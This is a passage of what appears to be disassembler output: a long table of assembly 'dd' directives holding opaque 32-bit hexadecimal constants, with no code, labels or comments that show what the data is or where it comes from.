		dd 4800E711h, 54DD23F8h, 0AD827Eh, 4674458Ah, 0F5E9792Ch
		dd 0E2766700h, 868B38D9h, 700B6093h, 0EE13148h,	69DD2C03h
		dd 0CF47F2E2h, 808246h,	963EEA0Fh, 1932BEAFh, 0E903DE7Bh
		dd 0B4B80E17h, 6381E8E7h, 6EE664h, 0BADBC871h, 1EB9728h
		dd 944F903h, 4E3904h, 9E434C40h, 0ABDA17A8h, 0C822A000h
		dd 3D01C475h, 0BE5C0498h, 802023A9h, 71465333h,	32878500h
		dd 0CEF66DB7h, 0AE40033h, 1FBA7C68h, 0E200F3D5h, 87B261D3h
		dd 1DF80E9h, 8C368E9Fh,	0E806C94Bh, 0A37DD2C4h,	604A0C04h
		dd 3DC05C88h, 23A73C3h,	0DCF8C21Dh, 95406A18h, 0E9C0CFAFh
		dd 567E4F81h, 0C4910985h, 718005E7h, 0F82D846Ah, 0BA14EB1Dh
		dd 303FDA80h, 0FA6ED597h, 0BB47008Bh, 1776E8FCh, 257F9B59h
		dd 0A45AC324h, 0D177AC00h, 8A6433h, 9DEA72Dh, 6717A273h
		dd 474C0800h, 9CB67FF6h, 36FF006Ah, 0A3451F1Dh,	0C4A85FB7h
		dd 0BE205D90h, 0A78F5C95h, 7A9C6D03h, 0BBE8946Bh, 182819ECh
		dd 0D0EE89Fh, 0A31C06E0h, 0C183E8C4h, 4050C7F3h, 7D891h
		dd 0DFC049CBh, 0A619E460h, 971BA318h, 797C2D60h, 0C474879h
		dd 98A03A06h, 0D6048973h, 1A2B694Fh, 45CC2C91h,	400BE09Eh
		dd 0B8E68588h, 5B00F330h, 0DE4FCB67h, 96F6F9h, 141607D1h
		dd 2C2D3B8Bh, 0E04BA300h, 3DDD27Dh, 0C7A71B4h, 8E222199h
		dd 98006E96h, 23E1F4E9h, 0E00CCDh, 77CFC6D7h, 0ACB7B65h
		dd 1FB8E400h, 0A6AE437Fh, 63EC0056h, 0D47E4883h, 0A9019D8Bh
		dd 9F520F90h, 11808CBFh, 7F1BE1FAh, 960BC875h, 87BD0BEBh
		dd 0E0707ED1h, 79F6868Ch, 617A8Ah, 0C876C030h, 414A3298h
		dd 0A0FB7500h, 0BB1AD6C1h, 0D50F0036h, 559CA7F8h, 1507327Bh
		dd 0EEA6F7D8h, 604DD2B0h, 825603A0h, 49CC0BB6h,	7164E1F8h
		dd 6E5EC40Eh, 0BF912039h, 557D377h, 0E599DA0Ch,	47E00064h
		dd 0E2B30A2Ch, 0C074280Fh, 92C685AFh, 2A20C007h, 342F5D90h
		dd 0FC90CCh, 5EBA7638h,	7E9A56C4h, 94DCEE28h, 67B78200h
		dd 14450B7Fh, 0BCC300F7h, 36427C66h, 680C47CCh,	0D1E92CECh
		dd 9762007Dh, 0C907BC02h, 0CB03EB98h, 0C7B2D51Eh, 1086889Eh
		dd 0AC3F000Ah, 0B5A876BAh, 0FD004AAAh, 6D51DD35h, 0EF8FC2h
		dd 61BC6782h, 0D02E656Fh, 1CD0AB41h, 0DF0D017Ah, 0E97783DBh
		dd 2BF9D8D1h, 0C0C14326h, 0F14D9002h, 5F5060D0h, 0F2380018h
		dd 5DD7BB88h, 0B4046F32h, 5397226Bh, 73215080h,	4D3C1E63h
		dd 60B0FF66h, 0F7401119h, 79899230h, 48D1D4Ch, 37D0C41Ch
		dd 32C8386h, 0FBE2EEF0h, 0E852D618h, 0E63D26B0h, 234A00A5h
		dd 0FCC31D30h, 0DE508710h, 2A0ED5A4h, 81B080A0h, 28B1F169h
		dd 30D4D9E8h, 3C406048h, 53027FD7h, 1168ADA7h, 39FC4077h
		dd 8FDF00C1h, 0AF6B180Ah, 0CE00CA65h, 0AEF0CD5Bh, 1114142h
		dd 690777D0h, 0EC6B25C2h, 0FC006239h, 7CC88D8Ah, 0D522C1h
		dd 0FB364919h, 0B2D6F7B5h, 8E98B100h, 12F8B775h, 999B0045h
		dd 0B03BB38Fh, 22E4FF6Dh, 0C977DE00h, 0C8F8E22Ah, 53A50940h
		dd 70A0CB4Eh, 0A6B849Eh, 92021B98h, 83819064h, 5CA8C818h
		dd 7A9E779Ah, 77D603A8h, 3CF222C5h, 0EA278999h,	16BBD780h
		dd 57067A7Bh, 1ADF4186h, 4B780392h, 734E64CAh, 1CCE2087h
		dd 5378EFB3h, 1199BC07h, 63508230h, 0F874069h, 0D7ED50Ch
		dd 0FAB47CC0h, 12006180h, 0F29B4BC2h, 1297FC1h,	38EAF6CEh
		dd 307D351Dh, 0AB174424h
		dd 5603BFEBh, 0E085E7F7h, 0E09D66h, 6CC7EF24h, 9C547EB8h
		dd 14BE3613h, 963BD400h, 9C8C13Dh, 0DE1FDBE7h, 858BF080h
		dd 0B900BEF7h, 41169055h, 3DBE59Bh, 8F98D504h, 9DD015CDh
		dd 0A100361Eh, 2464BF5Bh, 0BC483h, 93A95412h, 140DCC8Ah
		dd 969D9F02h, 6947416Bh, 7DF45588h, 283C0090h, 0B4BB0F38h
		dd 10F074AEh, 0AAF73000h, 3E81A98Dh, 0F5E6263Ah, 0A69803Ch
		dd 0A1E9E236h, 0FD0108B2h, 0A0341A60h, 6C20CF02h, 1DAF7184h
		dd 0BB6840C7h, 9FD3E886h, 4CFC784Bh, 38F0E900h,	5EAD6E2h
		dd 678B00A1h, 3C201EAFh, 49F096ACh, 9D03D572h, 0ABA058C4h
		dd 0C759018Fh, 0C808C5AFh, 545C640Fh, 2C68A6F1h, 74BF2D80h
		dd 0EA03A49Eh, 5BC80520h, 1612CBDh, 9089218h, 0B174E0E3h
		dd 1FDD2E40h, 2E51EB2Ch, 28089438h, 34C1440h, 5B347224h
		dd 3C8089DFh, 197B1346h, 0DD8F5312h, 0E110C00h,	89254Ch
		dd 0FF2BEF10h, 0EB35D16Eh, 7FAF901h, 1788C2E3h,	1F194264h
		dd 40F3BC63h, 80F8047Ch, 9000C47Bh, 91E5A893h, 1BDDA3h
		dd 0DF0A7AFFh, 0C243B8B1h, 0B241E300h, 54EACC29h, 0F152043Bh
		dd 0A1672385h, 4F95E488h, 8688B400h, 0A00E26D2h, 99A2127Eh
		dd 68740735h, 0C6CD20ACh, 0F498AA61h, 0A2392400h, 31CEA1D9h
		dd 408F3C88h, 0A307CF00h, 0CBA9C9CCh, 35DFB900h, 0DE0B658h
		dd 7BC10E2Fh, 5CC0A361h, 3608542Bh, 8F00A0F8h, 0B8397EAFh
		dd 0AD5DFh, 656DF12Fh, 0F4E07BDAh, 0AA895800h, 8FE6ECFCh
		dd 0D8C0066h, 0A62C3FFBh, 0A40071C6h, 0ADA2ED6Fh, 8CC89h
		dd 0BEC4576Dh, 7CE0CEF3h, 0C633A00h, 0CC6A2E36h, 0C0980078h
		dd 0C6F60265h, 501D48Ch, 0BCA09A3Ch, 1970562Fh,	382C0024h
		dd 0ECD877B1h, 0D2001D5Dh, 0CBFCBC19h, 0F3499Fh, 6854DD27h
		dd 6F6AF5C2h, 64BD872Ch, 2E9B5300h, 404F59E4h, 650D8B83h
		dd 11EEF11Fh, 30226031h, 8DD4397Ah, 8A0B8E05h, 6F92C097h
		dd 3A7CCBC9h, 6C792B09h, 0FAA040C1h, 564C128Ch,	0CCC481E9h
		dd 149C7460h, 0C11ECF7Ah, 0FB03889Dh, 0E8F343CEh, 0C7FA84h
		dd 0C910B2E1h, 63895109h, 1BA86463h, 97019061h,	59B100A9h
		dd 0D03FCAFAh, 0F700D3AEh, 26903CD1h, 0C649E9Dh, 6D88541h
		dd 0E0EC4889h, 0A217A0B8h, 68075C74h, 50D0E7A5h, 0D4AC92h
		dd 7E365787h, 0FE8A8EB3h, 7B56333Bh, 8BE9316h, 6CC2B205h
		dd 487EBCD0h, 40654A8Ah, 8791FD44h, 0BF00F35Ch,	458DDF33h
		dd 0CB7FB4h, 0D57268E7h, 0A1234E7Ah, 0A0299000h, 6F8DE0C6h
		dd 31142807h, 125609D3h, 55A3DDh, 0B7710564h, 3F95000Ch
		dd 775E98B3h, 52001B80h, 828E7F2h, 4B5A9AEh, 312B2585h
		dd 0F4BCA073h, 0BED9502h, 8148CB8Fh, 0ABA7A180h, 4440D100h
		dd 0C1021CF8h, 5FDA9975h, 618453EAh, 0FE2B4EF2h, 1FF5D8A0h
		dd 1200BBEDh, 55A4C338h, 0A8272DAh, 0C5902691h,	621F8Ch
		dd 0D715B60Eh, 0FD00322Ah, 0F8CCAB57h, 48E746h,	0DA30256Eh
		dd 0D25BE3E6h, 3BED58C0h, 0C9FB62B9h, 9F0984A9h, 775C4E83h
		dd 522B20E8h, 930459ECh, 0E0647FA4h, 0DC8484A3h, 3B3098F1h
		dd 90F3B601h, 6719ECA9h, 7A0DE874h, 26323959h, 160B194Ch
		dd 7C80C2F6h, 53ED9C39h, 666EFD1Ch, 0DD7F8E40h,	5820DC15h
		dd 0EE00E879h, 0B3862FF9h, 13005BE9h, 7490ACC5h, 5CE8B4B9h
		dd 7C0940A2h, 40C86E52h, 6C7661E6h, 0C5D99E02h,	0E0C7221Fh
		dd 0B34E64h, 33BA9602h,	38EE885Eh, 0D50D9300h, 6D39CA2Fh
		dd 0D1F900F3h, 51706AE5h, 6916A4FDh, 0ED093F87h, 0BECD0780h
		dd 39985690h, 1CD700ECh, 0BC256FB1h, 2916802Dh,	74408F9Ah
		dd 3EBF7BC3h, 95DA150Dh, 432E84E9h, 853B62C8h, 40AF0F00h
		dd 385700F1h, 5F3F681Fh, 0B23001F9h, 53D20DBh, 0CDED3DA4h
		dd 45754F00h, 0BAECE779h, 7661F006h, 3F28D620h,	121E94B2h
		dd 0B8EB14DBh, 7F2DD900h, 1FC30FBDh, 7B303400h,	0F001C192h
		dd 37F500D8h, 0A6115C9Ch, 0D32C7E63h, 8782DC6Fh, 0E0CF4F8Ch
		dd 9AAAD77h, 0B30C0E9Dh, 0F2F5C40h, 57BF6312h, 3D2C0440h
		dd 6B8515DBh, 6880321Ah, 46B672BBh, 0EC001E7Dh,	0F9A30CD6h
		dd 9098532Bh, 129AE0B4h, 5F324CB6h, 234DE10h, 0FC80ED30h
		dd 40003C50h, 1B6F63BEh, 0D0D555h, 0EA2CA083h, 0CB94F8FBh
		dd 0E97C4212h, 0CC220000h, 0C2FC43Ah, 0DF7863A2h, 390AFC40h
		dd 9089F047h, 0CF30200h, 837F61h, 377B8B76h, 0A7F83839h
		dd 3C6A491Dh, 34E5D380h, 1B488957h, 48E0231Ch, 0C84D7FB0h
		dd 51023C90h, 607E2F84h, 0CD99600Bh, 63A5009Fh,	13C1911Eh
		dd 5C0F1840h, 5B5284h, 65517A2Fh, 41F003EBh, 2108D248h
		dd 5F64B080h, 0DFB31E00h, 7CBD338Bh, 71076190h,	10799344h
		dd 53B884Dh, 0D4928B7Dh, 7E85EAFEh, 0C1C49300h,	0B822ACCh
		dd 8F7DBBBCh, 77D6C280h, 9A019658h, 6DAC4442h, 198004FFh
		dd 2B6AA648h, 0CB2CCF21h, 5F80BCA3h, 0D87D56DDh, 0E6779C1h
		dd 37E4AD9Ah, 7BCD5E40h, 50589362h, 2D448BFh, 0E07A3AA3h
		dd 0ECEEC058h, 0B6A70027h, 0E3B0F98Bh, 0DB00787Fh, 0A4E11CBEh
		dd 61D9ABh, 3FFAB933h, 24A9C3F7h, 37034F00h, 38BBAAEDh
		dd 8B7355h, 8AE5D4BDh, 19D90E7Eh, 0EEA1B803h, 0CAE78157h
		dd 662F6030h, 5D07FAA8h, 0EB00B413h, 0F7E05285h, 67079931h
		dd 0DD01B08Eh, 5FA13980h, 1EBB1269h, 8B7400D6h,	6C3C951h
		dd 4349CE02h, 0C8604D87h, 0C44FCh, 0BD611C4Eh, 5451E52Ah
		dd 97128492h, 50406771h, 858FD98Dh, 9CAF06B7h, 186170A4h
		dd 740C2D79h, 11C7F7A5h, 0A8D28007h, 1EBDF286h,	0E068B57h
		dd 4FA98DDEh, 0FC841849h, 0E882E4E9h, 90F6D410h, 7CDA7C34h
		dd 626000A7h, 0A49DB545h, 0CB01C503h, 475348B3h, 44285AD5h
		dd 2BBD5C02h, 60804CE5h, 86684BC7h, 0FF24E9F2h,	0F001978Ah
		dd 208C3184h, 11885828h, 4C01A710h, 5B345970h, 72C9DC31h
		dd 41171977h, 7B0094B7h, 74CBCEBFh, 0D06B62E2h,	68785067h
		dd 0DDC60201h, 0E5AD5986h, 175F8C7h, 108D0065h,	27B3481Bh
		dd 9E000DB8h, 958C92Dh,	3B31D6D7h, 6F003485h, 35F9B1FBh
		dd 0F6000CA3h, 0F27C5756h, 0DCA7B9h, 4A721BA9h,	0D458B7D5h
		dd 0C5170C00h, 9D071454h, 351101F4h, 53C995A2h,	0D9BD05h
		dd 0EB59947Dh, 131D8Eh,	2EA69BD4h, 3445C54Ah, 22880FFh
		dd 0DA75378Bh, 0AB10C09Ah, 0B282384Eh, 22C5F30Eh, 0C22381F7h
		dd 59801053h, 81BC3F24h, 1D18A85Bh, 65190BE3h, 724100C5h
		dd 0E4D3A562h, 8B031801h, 874BD0CBh, 302951ABh,	15A9E6E8h
		dd 0F81C1DB4h, 9097E800h, 8F410335h, 0BF003A72h, 81A6F9B8h
		dd 340A5Eh, 3DC7962Dh, 3B039E67h, 1A0FEB7Ah, 878F0476h
		dd 0D1C06524h, 0FE0E5A6Ch, 730371Eh, 6D4C399h, 2E50697Ch
		dd 1C008C58h, 0A172236Bh, 0E26F6A19h, 0FFE8C0h,	0B641C397h
		dd 133D39DDh, 922A331h,	209F69CFh, 2EB640E3h, 0C5710838h
		dd 7877FA01h, 374EBE1Ch, 1B28070h, 3213C474h, 811E43F9h
		dd 47A2ED58h, 0C7A3D7h,	0BF04B710h, 5D271062h, 6618F33Dh
		dd 21B108h, 0F2BF0BDAh,	8D0EF77Ch, 0B3048712h, 31D98701h
		dd 298C97F9h, 0EEB9B86Fh, 5D4D1503h, 0A32ACB53h, 0C8E4E2E8h
		dd 910BE8h, 0A27D1BF9h,	0CF52E06Dh, 0FF24BC03h,	7E9AE5h
		dd 7D4AA340h, 6405095Eh, 0E9BFC30Ch, 0C0820833h, 5E653C21h
		dd 0B03F61C0h, 8017004Ah, 2858B72h, 7E522831h, 70C0380h
		dd 6A18E6E3h, 84D61810h
		dd 0EEA93800h, 4117BA94h, 3AA5FF00h, 19D324E0h,	55900DBh
		dd 647DF0ADh, 8A52C09Bh, 2513C304h, 5D48E0D9h, 7B19C094h
		dd 0ECABD3Eh, 816C2406h, 6008F416h, 270121BCh, 450073BDh
		dd 9D82A67h, 0E8E03B29h, 0E226001Ah, 0BD767D12h, 1900C096h
		dd 5B21147Ch, 3BAD378h,	30BEF08Ah, 88D0FB2Dh, 88CE8173h
		dd 0ED1F0005h, 0F4427F45h, 0FA21002Ch, 0FC728FBAh, 2700FD28h
		dd 7F52D19Ah, 1479449Bh, 208904F5h, 60CC2DE3h, 30F8652Eh
		dd 6AF98B98h, 1F0354C6h, 0B46FE907h, 0A168D3FDh, 20806579h
		dd 8354CE57h, 88515CC2h, 0FAF1E47Ch, 266A2102h,	0A3CC0F76h
		dd 7097ADA4h, 0A81E0159h, 0C959CB06h, 0A75E44Bh, 17EF14A0h
		dd 0F9E07F41h, 94AD541Ah, 8413004Bh, 75A2F8B9h,	441EA718h
		dd 0FDCC9927h, 4409386Bh, 25F0DAF6h, 1162A830h,	73FE84h
		dd 0D507FC37h, 0D4CFE389h, 21C088E8h, 327406A3h, 3E44007Ch
		dd 9A90BFF0h, 5806FA19h, 0A7A80514h, 4704A1E1h,	0BD081F18h
		dd 0C4DC0EC5h, 0C848BEh, 0DA0A920Dh, 0CB2839E8h, 9D448C8Fh
		dd 0A0011805h, 90F9D8C4h, 0E0E4ED3Dh, 0EF5BD211h, 647103DAh
		dd 0BAF6916Eh, 0B3BB5903h, 4395B409h, 5500C028h, 9EF51260h
		dd 0CC0AEE70h, 840BEFB6h, 2257F140h, 0DBBC245Bh, 18771330h
		dd 904B892Ch, 7A66FA03h, 1DC06C0Bh, 4ADABD58h, 9E785E39h
		dd 0EC7C441h, 20B2622Ch, 75BD29CAh, 8073323Bh, 71ED3941h
		dd 154B2ED9h, 0E0B893FBh, 79B94718h, 0B3004D82h, 0FA20467Fh
		dd 0A060C10Ah, 0CE83F8h, 0DCD233C3h, 363024D7h,	3EA67700h
		dd 0D48FE438h, 0E33C014Fh, 46533EDh, 25C2399h, 73B54CAh
		dd 107631C9h, 954F24Bh,	6E309AEEh, 74EC8828h, 2F00A946h
		dd 98F94505h, 5B09A201h, 5B72630h, 7000AEC0h, 21A1A9C6h
		dd 3113704Dh, 0B3703FBCh, 0C23C34E6h, 0DE0020B0h, 4E93C656h
		dd 1ECBAF42h, 9F6258ACh, 0CC3814E7h, 35A1220Ah,	0B7465C54h
		dd 66766807h, 5E003BBFh, 510EB052h, 389E9F26h, 0D6101303h
		dd 18987CE3h, 187D8F39h, 6566520h, 54CC01ACh, 68B9073Dh
		dd 21DF810Ch, 0C254F440h, 1C6B4BADh, 407CEC4Fh,	0A3F1A4Ah
		dd 0BC077F5Dh, 10052396h, 119454AEh, 5C00B4B3h,	4B140D20h
		dd 0CB09F4AFh, 82950526h, 48B3B25Bh, 3CF19360h,	5F01756Eh
		dd 714FCCB6h, 67C06E44h, 19BA4514h, 91929834h, 0B10BD4D1h
		dd 0BE74F117h, 0E90001FFh, 85C10528h, 93FE7FB8h, 0EFF19441h
		dd 698F6514h, 44800CC6h, 4C4D78FAh, 238FA10Fh, 22860042h
		dd 116DF38h, 508DC6CAh,	409BE789h, 7A300598h, 5B0EB4Dh
		dd 0CCE62039h, 5095B002h, 0F1A882B0h, 54CB1898h, 0D1073E08h
		dd 4083646Fh, 2654F358h, 1D147510h, 80CEFFF1h, 0AF8994Bh
		dd 0BA0F55CBh, 0CE802E96h, 1A435B3h, 4223EE0h, 0B899444Eh
		dd 24E8C135h, 2D1FF338h, 0C1403D23h, 0CED6A70h,	0CC94488Ch
		dd 88B95B15h, 2F07D73Eh, 71E13181h, 60B4ADE7h, 0E0409F20h
		dd 8C4D34C0h, 20C481A9h, 0D985C8ACh, 108FBF0Ch,	2C9A299Eh
		dd 3443F0Dh, 8A300B78h,	0B463682Ah, 810A3D09h, 790C0D93h
		dd 0F2D023F3h, 0E9224300h, 86823C4Dh, 0F60144h,	7312336h
		dd 8DB21CDh, 2663650Eh,	0EE28A5E0h, 0B004C853h,	75438573h
		dd 61770A0Fh, 243C4E4Ch, 0EB8350BDh, 9BAAFDCh, 0C0F4E0A8h
		dd 7034D498h, 80E10A89h, 0B04B3080h, 6BB112FBh,	0A00654B2h
		dd 92951AFCh, 1BDB1821h, 12E138C5h, 0FC9A0BB8h,	0BEFF7F18h
		dd 49B511E9h, 2A809495h, 0FA54DD9Bh, 16019372h,	598966B4h
		dd 70608187h, 0FD1C8C2Ah, 0DFC83A73h, 488764D4h, 802F1FBEh
		dd 9EB1F7E5h, 0B72483F9h, 54CA605Eh, 2A035C2Bh,	0ECBFB66Dh
		dd 26880C8Ch, 0A037CFh,	7E4AE03Eh, 6AE2303Ah, 0A00C0890h
		dd 5137890Ch, 56F81411h, 107CC0E5h, 3E8E9769h, 0CB461305h
		dd 3006001Dh, 73A978A7h, 0E45F00FBh, 0EF509211h, 0E605C632h
		dd 3546F6EBh, 1E028A1Fh, 0C18FDB71h, 20336D8Ch,	0F7AC012h
		dd 0B5C04BE0h, 72051AF1h, 2088E978h, 4F40130h, 0AED3913Eh
		dd 1B3980B8h, 69D93239h, 0AFBC2CF3h, 2F270330h,	0B6C8488Dh
		dd 0DE05804Bh, 0FBDC2A09h, 935BAC44h, 744D6400h, 0E8009854h
		dd 4170C8Dh, 1265AF4Fh,	4F6DF91Ah, 0B289FB08h, 0FC9D000Fh
		dd 0B1BFE30Dh, 0FD1AF410h, 0B3F88C50h, 0F0A90F26h, 6E5E3B08h
		dd 0EC9BDE1h, 88BA183Ch, 0BD0723D4h, 0C9350AEDh, 0D0AC11D9h
		dd 88425DF5h, 6AB86020h, 3E8491F0h, 0BB22C2B8h,	0A07DCB20h
		dd 80937B7Ch, 0E688BF5Bh, 0DE4F0166h, 1E07A91Ah, 27AB2045h
		dd 0C297C07h, 7570F31Bh, 77145Dh, 0CF0A2B68h, 0B755A3AAh
		dd 2EDB6C1Fh, 88BDC940h, 0B8C41C15h, 7F2222D4h,	69137534h
		dd 510BDC01h, 8C402FE1h, 0E065CCC8h, 14BA48B3h,	0B8390C06h
		dd 2A48B8C3h, 667D14D8h, 9B2000B0h, 1F15FDCFh, 0B8C804FCh
		dd 81A33E0Bh, 81489410h, 52E0C288h, 7980B1A8h, 9CB90623h
		dd 0FE0ECB35h, 0A7D1A5E5h, 5774DFEAh, 6DF22F80h, 0E96C000Ah
		dd 0B5814977h, 6551292Dh, 3D30D6D0h, 0ECB24BDh,	91D02171h
		dd 25D606BFh, 54C082BDh, 1C13BCB0h, 0CCF70E94h,	0B1298D5Bh
		dd 50CA8E3Dh, 173BA4C9h, 0EA2E845Dh, 0BCC788B6h, 48511632h
		dd 88B483A4h, 98988CBEh, 4402CF46h, 344DF222h, 0F90500C7h
		dd 0D1C0233Bh, 247FE706h, 80A080ADh, 0CF8FD2EFh, 0BD004450h
		dd 36A5DD3h, 4833D904h,	0F7040CEEh, 88506D42h, 9440BF6Ch
		dd 40AE4BF4h, 738185A4h, 0A1280513h, 700FDDAh, 0FBD86E56h
		dd 44D1622h, 51EEA094h,	8F14D1CFh, 804E0930h, 0B7C2B288h
		dd 3D82F5FDh, 4060223Bh, 91182016h, 8E2995FFh, 75A73089h
		dd 0FDDD1D70h, 3673B58h, 0CB4F8704h, 0C766A816h, 82400CCCh
		dd 0A439C65Bh, 0D2D5900h, 7460F1AEh, 627529h, 16D95B45h
		dd 0FF1A6840h, 35E22202h, 0E4CA30A1h, 4F811BA4h, 8EF4E178h
		dd 0C0BE881Ch, 0CD7BBCABh, 4E76CC00h, 0D261E499h, 0EC8014C9h
		dd 3A96DC88h, 657510D4h, 341DDFh, 79F51878h, 925EF5Bh
		dd 0DABC939Ch, 0BF4C607Eh, 0ECC725D9h, 0B439DC02h, 0BC01A24h
		dd 31F9BFD4h, 1B218E13h, 0D8C913B5h, 0B2D77610h, 2E802E00h
		dd 75215E80h, 29558065h, 0C52822A0h, 93AF916h, 0E333A042h
		dd 64AC680Bh, 4ECD77DAh, 77803228h, 2CC04C00h, 0EB9C1A2h
		dd 64969739h, 4D000850h, 507F4E54h, 9CCD43A3h, 0AB8E4C4h
		dd 0E870202Eh, 0F4808C55h, 2865D54h, 0EC6BD22h,	0C5196C44h
		dd 942AD511h, 1806BCEh,	0EEDAB322h, 0BC2CD9D4h,	18CB8B8h
		dd 2A1BC761h, 0F2393A7Ah, 70C040E9h, 1C8C2318h,	0D13573FCh
		dd 878F88F7h, 0C073F1A1h, 0A58039BDh, 0FBC86112h, 8C480BAEh
		dd 0B95AFCACh, 8050A03Ah, 445D3A6Eh, 51BEEAh, 0F04759ABh
		dd 0AC600FF9h, 0EC261701h, 0F4C03B02h, 139C9F8h, 0C848EBEDh
		dd 30CDA385h, 19000390h, 3DDCE508h, 409968h, 10D6A5B4h
		dd 0F3FE441Bh, 72F0560Bh, 0E30BA1h, 1FB0289Ch, 112500D5h
		dd 55E460B6h, 87035AC7h, 0FC5E50E9h, 8D16E062h,	0BCEA0027h
		dd 0E204CBBBh, 0E53DDE5Fh, 0B9F080D4h, 490F6B51h, 781E00DDh
		dd 0E09AC9D0h, 0F50163A7h, 0D79E8B03h, 320DBD5h, 215C0072h
		dd 0ABE5A0F0h, 9D00B945h, 82DF8642h, 647463h, 3639E4D9h
		dd 7E204A6Fh, 0C0EA93E4h, 0CA2B751Fh, 1A616E40h, 1E509C14h
		dd 0CF4192AAh, 1805BC4Eh, 8DE1C1D3h, 2771D8BEh,	26A83E00h
		dd 9CF35B8Eh, 7D860055h
		dd 95DDCDE5h, 930F582Bh, 27062D7Ah, 50134952h, 81781F34h
		dd 8178DF01h, 5C136F6h,	0B22424BCh, 0A3C20A00h,	56DE97FBh
		dd 0A9E500A1h, 7D420375h, 7312438Ah, 0D0537FF3h, 0F2515700h
		dd 0F837701h, 0E667B5D2h, 44A1980h, 0B6007442h,	0F908EB35h
		dd 8B7150h, 84811385h, 676ACFD5h, 8C14C0A0h, 83ACFC38h
		dd 99DC900Eh, 91FAD8B3h, 0FAA37F2Bh, 187CF030h,	0C0D2C63Ah
		dd 4E14C38Ah, 2C84F30Dh, 0FA0B7991h, 0AFAA8011h, 2AB5A8h
		dd 0D53FF468h, 0CFCA9FBBh, 52D71D05h, 0EC01A4B4h, 0E2364C46h
		dd 1E995180h, 0EF660637h, 90406000h, 8070B82Eh,	0B472E6h
		dd 0F8596917h, 0C2D0A953h, 3C4AFD00h, 0F27CB89Bh, 0B7E401D2h
		dd 0EC195C4h, 0C7B82415h, 10A7400Ch, 188F594Ch,	70D3AA6Eh
		dd 8800289Eh, 61F68E60h, 26222CFh, 63B45D81h, 0CC87A54Fh
		dd 0D7CBE074h, 0F10006CDh, 5AAE5626h, 0B9FBBAh,	4CF3E086h
		dd 0B4276913h, 4E89100h, 88796298h, 489F0074h, 0EB21C840h
		dd 3B28B87Fh, 0FB1FD866h, 31005EFFh, 60260772h,	8C5905A2h
		dd 6379DD7h, 0B15254F0h, 6D1B4F00h, 3FC449FEh, 0F69D1FBDh
		dd 81EA1E26h, 0F84F1E82h, 9063F443h, 78F148h, 374A1B9Ch
		dd 0BBB49Eh, 0CBC3A2A8h, 660B699Dh, 63514905h, 0C01491EDh
		dd 14543869h, 119C8E0Ah, 690396A4h, 455EA639h, 0C2EB1590h
		dd 0B1C84E00h, 52D91087h, 0A5DC2DB6h, 8B005C56h, 0C5D04DCBh
		dd 0E07CBEh, 6FB2DB7Bh,	9FE644ACh, 0D53BFF00h, 378E242Ch
		dd 6C540E1Bh, 1C809E45h, 0F75B1597h, 2E5E0C06h,	0E280B9Bh
		dd 0F2DE7718h, 22336A60h, 0CB1C135Ch, 8380A825h, 0AC22EC6h
		dd 847015h, 281A4871h, 46E748Ch, 9831B5E4h, 1DE5C950h
		dd 0E4CF49FCh, 0E7A300D0h, 0B9E98CDCh, 5D039B42h, 69E592FFh
		dd 0E7348312h, 0EDB12CE0h, 1C0E3A36h, 0E590D6B0h, 8F308728h
		dd 0C07E40A5h, 30F56388h, 4A98A74Bh, 0DF0054CEh, 17F1DE7Bh
		dd 15A51E2h, 2D338F83h,	80B4059Ah, 8E4B5F61h, 736A0E7h
		dd 0B5216711h, 0E33BD06Dh, 1400A62Bh, 0A30597BCh, 247BEE42h
		dd 19C52B9h, 0F6B56D9Bh, 0BFD980A6h, 0CE4C151Dh, 0A0084950h
		dd 0F0064F1Fh, 0EF6C62F2h, 5A951601h, 662D8944h, 4A52824h
		dd 0C483C934h, 7BA18145h, 7188203h, 0F22E40D4h,	0ECA74C8Ch
		dd 9A00A13Eh, 5DE79685h, 0CD50D8E9h, 95580888h,	27390017h
		dd 0CF41D673h, 7DF1006Eh, 0F6B1980Ch, 0FB0070C4h, 3FD20560h
		dd 0AD7D9h, 6AB23E06h, 783380EDh, 0D6C3C701h, 0BEF94A2Dh
		dd 5C8043C9h, 30590536h, 0C23D44D1h, 8CC980B1h,	0B5DC9B7Ah
		dd 7A2971CBh, 8F4200D7h, 9A0B34E5h, 6358C13Dh, 0DE0900F1h
		dd 0CE45B424h, 0DD2C1D25h, 942E89BCh, 73AD1803h, 0A6E67FE0h
		dd 3A47D01h, 0E90D62DCh, 1642AFF0h, 6089841h, 188138AAh
		dd 9C3E6A1Ch, 8EF21A80h, 8A92DBh, 6F8B86E0h, 9931B1F0h
		dd 93B8391Dh, 0C0829FCFh, 693A2890h, 2BE400FAh,	6E568FAEh
		dd 2400A162h, 0F3F2E75Bh, 218A0Bh, 53DBC964h, 11767AD9h
		dd 63D39202h, 0FC47B5B1h, 0E572C2Dh, 9E20515Ah,	88D0C9A0h
		dd 0C51F3A7Bh, 0C70EA65Bh, 52BD0076h, 398578Bh,	0D4562495h
		dd 0B1F0DAF8h, 0A203F0CDh, 0FAF25EE8h, 1A6AD067h, 4E3200EBh
		dd 0E2D892A3h, 9D5C64ACh, 0F5208360h, 995880BEh, 0D08000F6h
		dd 57EB8548h, 69000E61h, 128A3FD9h, 118C366h, 0A247F96Fh
		dd 87C779DAh, 574AFAE0h, 0E18C4E80h, 0B4E3162Bh, 4D540087h
		dd 0B033A174h, 8C117D60h, 124E06A0h, 9056E49Fh,	61A73358h
		dd 66CC0806h, 80EC9h, 67E91EF4h, 8F35EE0Fh, 0BDF31300h
		dd 4B53FC5Fh, 14A00094h, 1FDC8C74h, 640B80F9h, 0C169D40Eh
		dd 94648940h, 33F22735h, 7F3B28A0h, 0B3000E39h,	0D4C7FA43h
		dd 1736FD30h, 4A80BF35h, 984CE3B0h, 4BF76837h, 4DF8B8C0h
		dd 8448E4A9h, 1CC93528h, 0D497FD00h, 0F2F95C41h, 3665898h
		dd 9AD95800h, 0E038B2DEh, 0D602881Ch, 3F8BBB07h, 5BE8A0E0h
		dd 0BDDB0064h, 3306EC38h, 0E400923Ch, 0FB8B1759h, 0DDDF56h
		dd 0D8A5D4E2h, 0B7F2BB0Ch, 0D2411107h, 0B1672337h, 0C710B6D0h
		dd 0E0BFCA9h, 0A8CDF860h, 812DD860h, 4507E874h,	2CCE8768h
		dd 0D6E17BA7h, 0B98E7CA5h, 0F3404D4Ch, 616A4F4Bh, 20FE3507h
		dd 0DDC02C42h, 5712591h, 0A623FF15h, 0F8B40531h, 6A44C898h
		dd 48416D00h, 0EDB79A86h, 6CCF0052h, 0AD5F9F7h,	17008C07h
		dd 7C0DD893h, 63F230E1h, 2E35103Ch, 0DB001975h,	9CB8F76Eh
